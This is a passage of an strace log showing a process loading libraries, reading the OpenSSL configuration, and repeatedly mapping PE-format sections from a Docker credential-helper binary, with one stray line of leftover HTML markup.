mmap(0x758f386b3000, 3354624, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 54, 0xb3000) = 0x758f386b3000
mmap(0x758f389e6000, 831488, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 54, 0x3e6000) = 0x758f389e6000
mmap(0x758f38ab1000, 389120, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 54, 0x4b0000) = 0x758f38ab1000
mmap(0x758f38b10000, 11216, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x758f38b10000
close(54)                               = 0
mprotect(0x758f38ab1000, 376832, PROT_READ) = 0
mprotect(0x758f3b4c1000, 40960, PROT_READ) = 0
munmap(0x75cfe781d000, 28899)           = 0
futex(0x569d19192450, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b103ec, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b103e0, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b103d8, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b0fe38, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b103d0, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b104e0, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b103c8, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b103c0, FUTEX_WAKE_PRIVATE, 2147483647) = 0
openat(AT_FDCWD, "/proc/sys/crypto/fips_enabled", O_RDONLY) = -1 ENOENT (No such file or directory)
futex(0x758f38b100ec, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b0ff08, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b0fe44, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b10424, FUTEX_WAKE_PRIVATE, 2147483647) = 0
openat(AT_FDCWD, "/usr/lib/ssl/openssl.cnf", O_RDONLY) = 54
fstat(54, {st_mode=S_IFREG|0644, st_size=12324, ...}) = 0
read(54, "#\n# OpenSSL example configuration file.\n# See doc/man5/config.pod for more info.\n#\n# This is mostly being used for generation of"..., 4096) = 4096
read(54, "d attributes must be the same, and the optional\n# and supplied fields are just that :-)\npolicy\t\t= policy_match\n\n# For the CA pol"..., 4096) = 4096
read(54, "coding of an extension: beware experts only!\n# obj=DER:02:03\n# Where 'obj' is a standard or added object\n# You can even override"..., 4096) = 4096
</span><span class="gp">read(54, " = $</span>insta::certout <span class="c"># insta.cert.pem\n", 4096) = 36</span>
<span class="go">read(54, "", 4096)                      = 0
close(54)                               = 0
futex(0x758f38b0fbf8, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b0fc54, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b10394, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b0fbd8, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f38b103b8, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f3b4ce844, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f3b4ce864, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x758f3b4ce858, FUTEX_WAKE_PRIVATE, 2147483647) = 0
futex(0x569d19192404, FUTEX_WAKE_PRIVATE, 2147483647) = 0
readlink("/usr", 0x7ffdf5e9d580, 1023)  = -1 EINVAL (Invalid argument)
readlink("/usr/bin", 0x7ffdf5e9d580, 1023) = -1 EINVAL (Invalid argument)
stat("/usr/bin/docker-credential-docker-auth", {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
openat(AT_FDCWD, "/usr/bin/docker-credential-docker-auth", O_RDONLY) = 54
fcntl(54, F_SETFD, FD_CLOEXEC)          = 0
fcntl(54, F_DUPFD_CLOEXEC, 0)           = 55
fstat(55, {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
mmap(NULL, 150152, PROT_READ, MAP_SHARED, 55, 0x1999000) = 0x75cfe4c1b000
pread64(54, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0", 64, 26843520) = 64
pread64(54, "PE\0\0\35\375\3\0\230pu\213\0\0\0\0\0\0\0\0\360\0\" \v\2\v\0\0\224\1\0\0\202\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\0\0\200\1\0\0\0\0\2\0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\30\7\0\0\2\0\0\27\364\2\0\3\0`\201\0\0@\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0 \0\0\0\0\0\0"..., 264, 26843648) = 264
mmap(0x569c9b5b0000, 6528, PROT_READ, MAP_PRIVATE|MAP_FIXED, 54, 0x1999000) = 0x569c9b5b0000
mmap(0x569c9b5c0000, 106368, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 54, 0x1999000) = 0x569c9b5c0000
mmap(0x569c9b5f9000, 36224, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 54, 0x19b2000) = 0x569c9b5f9000
mmap(0x569c9b621000, 4480, PROT_READ, MAP_PRIVATE|MAP_FIXED, 54, 0x19ba000) = 0x569c9b621000
mprotect(0x569c9b587000, 4096, PROT_READ|PROT_WRITE) = 0
brk(0x569d4377e000)                     = 0x569d4377e000
brk(0x569d4377d000)                     = 0x569d4377d000
mprotect(0x569c9b59d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b588000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b59e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b59f000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b630000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x541000) = 0x569c9b630000
mprotect(0x569c9b630000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b589000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b631000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b632000, 4096, PROT_READ|PROT_WRITE) = 0
brk(0x569d4379f000)                     = 0x569d4379f000
mprotect(0x569c9b633000, 4096, PROT_READ|PROT_WRITE) = 0
brk(0x569d4379d000)                     = 0x569d4379d000
brk(0x569d43799000)                     = 0x569d43799000
mprotect(0x569c9b58a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9a548000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16f000) = 0x75cfe7e1f000
munmap(0x75cfe7825000, 8192)            = 0
mprotect(0x569c9b634000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b5a8000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b5ac000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x539000) = 0x75cfe7823000
munmap(0x75cfe7823000, 16384)           = 0
mprotect(0x569c9b635000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b636000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b637000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b638000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b58b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b639000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b63a000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b640000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x551000) = 0x569c9b640000
mprotect(0x569c9b640000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b644000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x551000) = 0x75cfe7823000
munmap(0x75cfe7823000, 16384)           = 0
mprotect(0x569c9b63b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b58c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b63c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b63d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b63e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b58d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b63f000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b650000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x561000) = 0x569c9b650000
mprotect(0x569c9b650000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b58e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b651000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b652000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b653000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b58f000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b648000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b64c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x559000) = 0x75cfe7823000
munmap(0x75cfe7823000, 16384)           = 0
mprotect(0x569c9b654000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b660000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x571000) = 0x569c9b660000
mprotect(0x569c9b660000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b655000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b656000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b661000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b657000, 4096, PROT_READ|PROT_WRITE) = 0
brk(0x569d437bb000)                     = 0x569d437bb000
mprotect(0x569c9b658000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b659000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b65a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b65b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b65c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b65d000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b670000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x581000) = 0x569c9b670000
mprotect(0x569c9b670000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b674000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x581000) = 0x75cfe7823000
munmap(0x75cfe7823000, 16384)           = 0
mprotect(0x569c9b678000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b67c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x589000) = 0x75cfe7823000
munmap(0x75cfe7823000, 16384)           = 0
brk(0x569d437b9000)                     = 0x569d437b9000
brk(0x569d437b7000)                     = 0x569d437b7000
brk(0x569d437b5000)                     = 0x569d437b5000
brk(0x569d437b3000)                     = 0x569d437b3000
brk(0x569d437b1000)                     = 0x569d437b1000
brk(0x569d437af000)                     = 0x569d437af000
brk(0x569d437ad000)                     = 0x569d437ad000
brk(0x569d437ab000)                     = 0x569d437ab000
brk(0x569d437a9000)                     = 0x569d437a9000
brk(0x569d437a7000)                     = 0x569d437a7000
brk(0x569d437a5000)                     = 0x569d437a5000
brk(0x569d437a3000)                     = 0x569d437a3000
brk(0x569d4379b000)                     = 0x569d4379b000
mprotect(0x569c9b65e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b65f000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b680000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x591000) = 0x569c9b680000
mprotect(0x569c9b680000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b662000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b681000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b663000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b682000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b683000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b684000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b685000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b690000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x5a1000) = 0x569c9b690000
mprotect(0x569c9b690000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b694000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x5a1000) = 0x75cfe7823000
munmap(0x75cfe7823000, 16384)           = 0
mprotect(0x569c9b686000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b664000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b687000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b688000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b689000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b665000, 4096, PROT_READ|PROT_WRITE) = 0
readlink("/usr", 0x7ffdf5e9c830, 1023)  = -1 EINVAL (Invalid argument)
readlink("/usr/bin", 0x7ffdf5e9c830, 1023) = -1 EINVAL (Invalid argument)
stat("/usr/bin/docker-credential-docker-auth", {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
openat(AT_FDCWD, "/usr/bin/docker-credential-docker-auth", O_RDONLY) = 56
fcntl(56, F_SETFD, FD_CLOEXEC)          = 0
fcntl(56, F_DUPFD_CLOEXEC, 0)           = 57
fstat(57, {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
mmap(NULL, 124520, PROT_READ, MAP_SHARED, 57, 0x3b84000) = 0x75cfe4677000
pread64(56, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0", 64, 62410560) = 64
pread64(56, "PE\0\0\35\375\3\0\215\221\360\216\0\0\0\0\0\0\0\0\360\0\" \v\2\v\0\0f\1\0\0F\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\0\0\200\1\0\0\0\0\2\0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\256\6\0\0\2\0\0\201-\2\0\3\0`\201\0\0@\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0 \0\0\0\0\0\0"..., 264, 62410688) = 264
mmap(0x569c9b6a0000, 8000, PROT_READ, MAP_PRIVATE|MAP_FIXED, 56, 0x3b84000) = 0x569c9b6a0000
mmap(0x569c9b6b1000, 91968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 56, 0x3b85000) = 0x569c9b6b1000
mmap(0x569c9b6e7000, 19264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 56, 0x3b9b000) = 0x569c9b6e7000
mmap(0x569c9b70b000, 3392, PROT_READ, MAP_PRIVATE|MAP_FIXED, 56, 0x3b9f000) = 0x569c9b70b000
mprotect(0x569c9b666000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b68a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b667000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b68b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b68c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b698000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b69c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x5a9000) = 0x75cfe7823000
munmap(0x75cfe7823000, 16384)           = 0
readlink("/usr", 0x7ffdf5e977c0, 1023)  = -1 EINVAL (Invalid argument)
readlink("/usr/bin", 0x7ffdf5e977c0, 1023) = -1 EINVAL (Invalid argument)
stat("/usr/bin/docker-credential-docker-auth", {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
openat(AT_FDCWD, "/usr/bin/docker-credential-docker-auth", O_RDONLY) = 58
fcntl(58, F_SETFD, FD_CLOEXEC)          = 0
fcntl(58, F_DUPFD_CLOEXEC, 0)           = 59
fstat(59, {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
mmap(NULL, 18248, PROT_READ, MAP_SHARED, 59, 0x377b000) = 0x75cfe7822000
pread64(58, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0", 64, 58176576) = 64
pread64(58, "PE\0\0L\1\3\0\356\360\321\270\0\0\0\0\0\0\0\0\340\0\"!\v\0010\0\0\20\0\0\0\10\0\0\0\0\0\0n/\0\0\0 \0\0\0\0\0\0\0\0@\0\0 \0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\200\0\0\0\2\0\0\257#\1\0\3\0`\205\0\0\20\0\0\20\0\0\0\0\20\0\0\20\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0"..., 264, 58176704) = 264
mprotect(0x569c9b668000, 8192, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b66a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b68d000, 4096, PROT_READ|PROT_WRITE) = 0
readlink("/usr", 0x7ffdf5e9ac80, 1023)  = -1 EINVAL (Invalid argument)
readlink("/usr/bin", 0x7ffdf5e9ac80, 1023) = -1 EINVAL (Invalid argument)
stat("/usr/bin/docker-credential-docker-auth", {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
openat(AT_FDCWD, "/usr/bin/docker-credential-docker-auth", O_RDONLY) = 60
fcntl(60, F_SETFD, FD_CLOEXEC)          = 0
fcntl(60, F_DUPFD_CLOEXEC, 0)           = 61
fstat(61, {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
mmap(NULL, 17320, PROT_READ, MAP_SHARED, 61, 0x1f36000) = 0x75cfe781d000
pread64(60, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0", 64, 32728192) = 64
pread64(60, "PE\0\0L\1\3\0PN\375\305\0\0\0\0\0\0\0\0\340\0\"!\v\0010\0\0\f\0\0\0\10\0\0\0\0\0\0n*\0\0\0 \0\0\0\0\0\0\0\0@\0\0 \0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\200\0\0\0\2\0\0J\235\0\0\3\0`\205\0\0\20\0\0\20\0\0\0\0\20\0\0\20\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0"..., 264, 32728320) = 264
mprotect(0x569c9b66b000, 8192, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b68e000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x179000) = 0x75cfe7e1e000
munmap(0x75cfe7e20000, 4096)            = 0
mprotect(0x569c9b68f000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b66d000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b710000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x5b1000) = 0x569c9b710000
mprotect(0x569c9b710000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x758fd2911000, 65536, PROT_READ|PROT_WRITE) = 0
madvise(0x758fd2911000, 65536, MADV_DODUMP) = 0
mprotect(0x569c9b711000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b712000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b720000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x5c1000) = 0x569c9b720000
mprotect(0x569c9b720000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b724000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x5c1000) = 0x75cfe7819000
munmap(0x75cfe7819000, 16384)           = 0
mprotect(0x569c9b713000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b714000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b66e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b715000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b716000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b66f000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b717000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b718000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b719000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b728000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b72c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x5c9000) = 0x75cfe7819000
munmap(0x75cfe7819000, 16384)           = 0
mprotect(0x569c9b71a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b71b000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b730000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x5d1000) = 0x569c9b730000
mprotect(0x569c9b730000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b71c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b71d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9a549000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x179000) = 0x75cfe781b000
munmap(0x75cfe7e1f000, 4096)            = 0
mprotect(0x569c9b71e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b731000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b71f000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b740000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x5e1000) = 0x569c9b740000
mprotect(0x569c9b740000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b744000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x5e1000) = 0x75cfe7817000
munmap(0x75cfe7817000, 16384)           = 0
mmap(0x569c9b750000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x5f1000) = 0x569c9b750000
mprotect(0x569c9b750000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b751000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b752000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b753000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b754000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b732000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b755000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b756000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b748000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b74c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x5e9000) = 0x75cfe7817000
munmap(0x75cfe7817000, 16384)           = 0
mprotect(0x569c9b757000, 4096, PROT_READ|PROT_WRITE) = 0
readlink("/usr", 0x7ffdf5e9c210, 1023)  = -1 EINVAL (Invalid argument)
readlink("/usr/bin", 0x7ffdf5e9c210, 1023) = -1 EINVAL (Invalid argument)
stat("/usr/bin/docker-credential-docker-auth", {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
openat(AT_FDCWD, "/usr/bin/docker-credential-docker-auth", O_RDONLY) = 62
fcntl(62, F_SETFD, FD_CLOEXEC)          = 0
fcntl(62, F_DUPFD_CLOEXEC, 0)           = 63
fstat(63, {st_mode=S_IFREG|0750, st_size=67189841, ...}) = 0
mmap(NULL, 250312, PROT_READ, MAP_SHARED, 63, 0x2d80000) = 0x75cfe4639000
pread64(62, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0", 64, 47711424) = 64
pread64(62, "PE\0\0\35\375\3\0\305\272\273\360\0\0\0\0\0\0\0\0\360\0\" \v\2\v\0\0\322\2\0\0\320\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\0\0\200\1\0\0\0\0\2\0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\244\10\0\0\2\0\0\237o\4\0\3\0`\201\0\0@\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\20\0\0\0\0\0\0 \0\0\0\0\0\0"..., 264, 47711552) = 264
mmap(0x569c9b760000, 5312, PROT_READ, MAP_PRIVATE|MAP_FIXED, 62, 0x2d80000) = 0x569c9b760000
mmap(0x569c9b770000, 186560, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 62, 0x2d80000) = 0x569c9b770000
mmap(0x569c9b7bd000, 54464, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 62, 0x2dad000) = 0x569c9b7bd000
mmap(0x569c9b7ea000, 2240, PROT_READ, MAP_PRIVATE|MAP_FIXED, 62, 0x2dba000) = 0x569c9b7ea000
mprotect(0x569c9b733000, 8192, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b735000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b758000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b759000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b75a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b75b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9a54a000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0xe000) = 0x75cfe7e20000
munmap(0x75cfe7868000, 8192)            = 0
mprotect(0x569c9b75c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b736000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b75d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b75e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b737000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b75f000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b7f0000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x601000) = 0x569c9b7f0000
mprotect(0x569c9b7f0000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b7f4000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x601000) = 0x75cfe7817000
munmap(0x75cfe7817000, 16384)           = 0
mmap(0x569c9b800000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x611000) = 0x569c9b800000
mprotect(0x569c9b800000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b801000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b802000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b803000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b738000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16c000) = 0x75cfe7e1f000
munmap(0x75cfe7e1e000, 4096)            = 0
mprotect(0x569c9b804000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b805000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17b000) = 0x75cfe7e1e000
munmap(0x75cfe7e20000, 4096)            = 0
